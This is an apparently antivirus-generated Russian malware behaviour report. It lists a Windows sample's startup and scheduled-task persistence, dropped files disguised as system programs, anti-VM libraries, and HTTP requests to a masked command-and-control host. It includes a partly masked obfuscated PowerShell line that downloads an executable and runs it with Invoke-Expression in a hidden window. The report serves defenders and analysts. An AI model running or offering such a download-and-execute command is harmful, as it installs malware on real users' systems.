Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\system.lnk
- <SYSTEM32>\tasks\e34907c4fd2c9f641cf0e32874acac87
- <SYSTEM32>\tasks\bclizkjq
- <SYSTEM32>\tasks\wqnuxchr
- <SYSTEM32>\tasks\giojfhpu
- <SYSTEM32>\tasks\likpq1nv
- <SYSTEM32>\tasks\y1l1ki45
- <SYSTEM32>\tasks\zvkrdtae
- <SYSTEM32>\tasks\yvarkmw5
- <SYSTEM32>\tasks\d353aupg
- <SYSTEM32>\tasks\qvkzwnwk
- <SYSTEM32>\tasks\ho0ohyom
Вредоносные функции
Загружает
- http://cn####8.tmweb.ru/windows.exe as %localappdata%\output.exe
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\output.exe
- C:\documents and settings\svchost.exe
- %TEMP%\res88e5.tmp
- C:\documents and settings\csc88b5.tmp
- %TEMP%\4mi2iybd.out
- %TEMP%\4mi2iybd.cmdline
- %TEMP%\4mi2iybd.0.cs
- %TEMP%\l11kvoad.cmdline
- %TEMP%\l11kvoad.0.cs
- %PROGRAMDATA%\microsoft toolkit\csc8029.tmp
- %TEMP%\wpppaptv.out
- %TEMP%\wpppaptv.cmdline
- %TEMP%\wpppaptv.0.cs
- <Текущая директория>\smss.exe
- %TEMP%\res7906.tmp
- %PROGRAMDATA%\microsoft toolkit\spoolsv.exe
- %TEMP%\e0mz0mtb.cmdline
- %TEMP%\l11kvoad.out
- %TEMP%\g13kegdm.0.cs
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\firefox.exe
- %TEMP%\resa21a.tmp
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csca209.tmp
- %TEMP%\0xaahksp.out
- %TEMP%\0xaahksp.cmdline
- %TEMP%\0xaahksp.0.cs
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\dwm.exe
- %TEMP%\res997f.tmp
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\csc996e.tmp
- %TEMP%\bzeqhr5w.out
- %TEMP%\bzeqhr5w.cmdline
- %TEMP%\bzeqhr5w.0.cs
- C:\users\default\templates\svchost.exe
- %TEMP%\res9122.tmp
- <Текущая директория>\csc78f6.tmp
- %TEMP%\res803a.tmp
- %TEMP%\o4kh3vg2.out
- %TEMP%\o4kh3vg2.cmdline
- %TEMP%\o4kh3vg2.0.cs
- %APPDATA%\windows\vmcheck32.dll
- %TEMP%\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %TEMP%\dclib\antivm.dclib
- %TEMP%\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\system.lnk
- %APPDATA%\windows\system.vbe
- %APPDATA%\windows\win.exe
- %APPDATA%\windows\c83sauttyw95kev4p9ukfca1xct1oy.bat
- %WINDIR%\installer\{90140000-0043-0000-1000-0000000ff1ce}\qtwvlhud\vmcheck32.dll
- %APPDATA%\windows\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %APPDATA%\windows\dclib\antivm.dclib
- %APPDATA%\windows\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\ykf3fucrtmjajnj2vpfjjhslntgkon.bat
- %APPDATA%\windows\mlpi9mkdzgqevbpwj4jccu3ozakcm7.vbs
- %APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe
- %TEMP%\g13kegdm.cmdline
- C:\users\default\templates\csc9121.tmp
- %TEMP%\e0mz0mtb.0.cs
- C:\far2\plugins\filecase\csc5e4a.tmp
- %WINDIR%\installer\{90140000-0043-0000-1000-0000000ff1ce}\qtwvlhud\win.exe
- %ProgramFiles%\b2\iexplore.exe
- %TEMP%\res700d.tmp
- %ProgramFiles%\b2\csc6ffd.tmp
- %TEMP%\0oqdf012.out
- %TEMP%\0oqdf012.cmdline
- %TEMP%\0oqdf012.0.cs
- %PROGRAMDATA%\oracle\java\installcache_x64\win.exe
- %TEMP%\res68e9.tmp
- %PROGRAMDATA%\oracle\java\installcache_x64\csc68d9.tmp
- %TEMP%\1ml3zgur.out
- %TEMP%\1ml3zgur.cmdline
- %TEMP%\1ml3zgur.0.cs
- C:\far2\plugins\filecase\cmd.exe
- %TEMP%\res5e4b.tmp
- %TEMP%\e0mz0mtb.out
- %TEMP%\g13kegdm.out
Удаляет следующие файлы
- %TEMP%\res5e4b.tmp
- %TEMP%\4mi2iybd.0.cs
- %TEMP%\4mi2iybd.out
- %TEMP%\4mi2iybd.cmdline
- %TEMP%\res9122.tmp
- C:\users\default\templates\csc9121.tmp
- %TEMP%\l11kvoad.out
- %TEMP%\l11kvoad.cmdline
- %TEMP%\l11kvoad.0.cs
- %TEMP%\res88e5.tmp
- C:\documents and settings\csc88b5.tmp
- %TEMP%\res997f.tmp
- %TEMP%\bzeqhr5w.cmdline
- %TEMP%\bzeqhr5w.out
- %TEMP%\resa21a.tmp
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csca209.tmp
- %TEMP%\0xaahksp.out
- %TEMP%\0xaahksp.cmdline
- %TEMP%\0xaahksp.0.cs
- %TEMP%\g13kegdm.out
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\csc996e.tmp
- %TEMP%\bzeqhr5w.0.cs
- %TEMP%\wpppaptv.cmdline
- %TEMP%\wpppaptv.out
- %TEMP%\wpppaptv.0.cs
- %TEMP%\e0mz0mtb.cmdline
- %TEMP%\e0mz0mtb.out
- %TEMP%\e0mz0mtb.0.cs
- %TEMP%\res68e9.tmp
- %PROGRAMDATA%\oracle\java\installcache_x64\csc68d9.tmp
- %TEMP%\1ml3zgur.cmdline
- %TEMP%\1ml3zgur.0.cs
- %TEMP%\1ml3zgur.out
- %TEMP%\res700d.tmp
- C:\far2\plugins\filecase\csc5e4a.tmp
- %ProgramFiles%\b2\csc6ffd.tmp
- %TEMP%\0oqdf012.0.cs
- %TEMP%\0oqdf012.out
- %TEMP%\res7906.tmp
- <Текущая директория>\csc78f6.tmp
- %TEMP%\o4kh3vg2.out
- %TEMP%\o4kh3vg2.cmdline
- %TEMP%\o4kh3vg2.0.cs
- %TEMP%\res803a.tmp
- %PROGRAMDATA%\microsoft toolkit\csc8029.tmp
- %TEMP%\0oqdf012.cmdline
- %TEMP%\g13kegdm.cmdline
- %TEMP%\g13kegdm.0.cs
Сетевая активность
TCP
Запросы HTTP GET
- http://cn####8.tmweb.ru/windows.exe
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?03...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?54...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/zgo6qt/6e43f762cba4b86bc0c491b86ddeed9e.php?1e#...
- http://ip##fo.io/ip
UDP
- DNS ASK cn####8.tmweb.ru
- DNS ASK ip##fo.io
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- '%PROGRAMDATA%\microsoft toolkit\spoolsv.exe'
- '%APPDATA%\windows\win.exe'
- '%LOCALAPPDATA%\output.exe'
- '%APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe' -pfe269a32d6ea191305070eac6a20af987ddbebea
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\System.vbe"
- '<Текущая директория>\smss.exe'
- 'C:\users\default\templates\svchost.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\MLPi9MKdzgQeVBPWJ4jCCU3oZaKCM7.vbs"
- 'C:\documents and settings\svchost.exe'
- 'C:\far2\plugins\filecase\cmd.exe'
- 'C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\firefox.exe'
- '%PROGRAMDATA%\oracle\java\installcache_x64\win.exe'
- '%ProgramFiles%\b2\iexplore.exe'
- 'C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\dwm.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' " (New-obJEcT SYStEm.neT.wEBcLIENt).dOWNLOadfILE( ”http://cn####8.tmweb.ru/windows.exe” , ”$EnV:LOcaLApPDATA\output.exe” ) ; InVOKe-eXpRESsiON ”$EnV:LocalAPpdaTA...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES88E5.tmp" "c:\Documents and Settings\CSC88B5.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bzeqhr5w.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9122.tmp" "c:\Users\Default\Templates\CSC9121.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES803A.tmp" "%PROGRAMDATA%\Microsoft Toolkit\CSC8029.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES997F.tmp" "c:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\CSC996E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0xaahksp.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA21A.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSCA209.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l11kvoad.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4mi2iybd.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\e0mz0mtb.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES700D.tmp" "%ProgramFiles%\B2\CSC6FFD.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0oqdf012.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES68E9.tmp" "%PROGRAMDATA%\Oracle\Java\installcache_x64\CSC68D9.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1ml3zgur.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5E4B.tmp" "c:\Far2\Plugins\FileCase\CSC5E4A.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o4kh3vg2.cmdline"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7906.tmp" "<Текущая директория>\CSC78F6.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wpppaptv.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g13kegdm.cmdline"' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0xaahksp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES997F.tmp" "c:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\CSC996E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bzeqhr5w.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9122.tmp" "c:\Users\Default\Templates\CSC9121.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\l11kvoad.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES88E5.tmp" "c:\Documents and Settings\CSC88B5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4mi2iybd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES803A.tmp" "%PROGRAMDATA%\Microsoft Toolkit\CSC8029.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA21A.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSCA209.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\wpppaptv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o4kh3vg2.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES700D.tmp" "%ProgramFiles%\B2\CSC6FFD.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0oqdf012.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES68E9.tmp" "%PROGRAMDATA%\Oracle\Java\installcache_x64\CSC68D9.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1ml3zgur.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5E4B.tmp" "c:\Far2\Plugins\FileCase\CSC5E4A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\e0mz0mtb.cmdline"
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7906.tmp" "<Текущая директория>\CSC78F6.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g13kegdm.cmdline"
